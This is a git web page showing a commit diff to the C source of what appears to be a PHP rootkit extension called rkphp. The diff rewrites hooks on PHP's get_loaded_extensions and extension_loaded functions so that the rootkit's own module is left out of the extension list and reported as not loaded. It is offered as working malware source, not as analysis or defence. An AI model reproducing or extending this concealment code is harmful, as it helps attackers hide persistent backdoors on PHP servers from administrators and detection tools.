Browse Source

Default

master
Root 5 years ago
parent
commit
fbade0911b
  1. 54
      rkphp/src/php_funcs.c

54
rkphp/src/php_funcs.c

@ -45,34 +45,34 @@ static int rkphp_hook( @@ -45,34 +45,34 @@ static int rkphp_hook(
static void (*o_get_loaded_extensions)(INTERNAL_FUNCTION_PARAMETERS);
static inline void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS)
{
array_init(return_value);
#if PHP_MAJOR_VERSION < 7
zval **data;
HashPosition pos;
array_init(return_value);
for(zend_hash_internal_pointer_reset_ex(&module_registry, &pos);
zend_hash_get_current_data_ex(&module_registry, (void**)&data, &pos) == SUCCESS;
zend_hash_move_forward_ex(&module_registry, &pos))
{
uint klen;
ulong idx;
char *key;
char *module;
if(zend_hash_get_current_key_ex(&module_registry,
&key, &klen, &idx, 0, &pos) == HASH_KEY_IS_STRING)
&module, &klen, &idx, 0, &pos) == HASH_KEY_IS_STRING)
{
module = zend_hash_index_find_ptr(&module_registry, idx);
php_printf("lol: %s\n", module->name);
if(module->name)
if(strcmp(RKPHP_NAME, module) == 0)
{
add_next_index_string(return_value, module->name);
RKPHP_PRINTF("[!] Hidden %s from get_loaded_extensions!\n", module);
}
else
add_next_index_string(return_value, module);
}
}
#else
zend_module_entry *module;
/*
ZEND_HASH_FOREACH_PTR(&module_registry, module)
{
if(module->name)
@ -85,25 +85,37 @@ static inline void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS) @@ -85,25 +85,37 @@ static inline void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS)
add_next_index_string(return_value, module->name);
}
} ZEND_HASH_FOREACH_END();
*/
#endif
}
static void (*o_extension_loaded)(INTERNAL_FUNCTION_PARAMETERS);
static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS)
{
zend_llist_position pos;
zend_module_entry *module;
#if PHP_MAJOR_VERSION < 7
zval **data;
HashPosition pos;
module = (zend_module_entry*)zend_llist_get_first_ex(&zend_extensions, &pos);
while(module)
for(zend_hash_internal_pointer_reset_ex(&module_registry, &pos);
zend_hash_get_current_data_ex(&module_registry, (void**)&data, &pos) == SUCCESS;
zend_hash_move_forward_ex(&module_registry, &pos))
{
if(strcmp(RKPHP_NAME, module->name) == 0)
RETURN_FALSE;
uint klen;
ulong idx;
char *module;
module = (zend_module_entry*)zend_llist_get_next_ex(&zend_extensions, &pos);
if(zend_hash_get_current_key_ex(&module_registry,
&module, &klen, &idx, 0, &pos) == HASH_KEY_IS_STRING)
{
if(strcmp(RKPHP_NAME, module) == 0)
{
RKPHP_PRINTF("[!] Hidden %s from extension_loaded!\n", module);
RETURN_FALSE;
}
}
}
#else
zend_module_entry *module;
/*
ZEND_HASH_FOREACH_PTR(&module_registry, module)
{
if(module->name)
@ -115,7 +127,7 @@ static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS) @@ -115,7 +127,7 @@ static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS)
}
}
} ZEND_HASH_FOREACH_END();
*/
#endif
}
/* {{{ proto void rkphp_ex(int code, int pid)

Loading…
Cancel
Save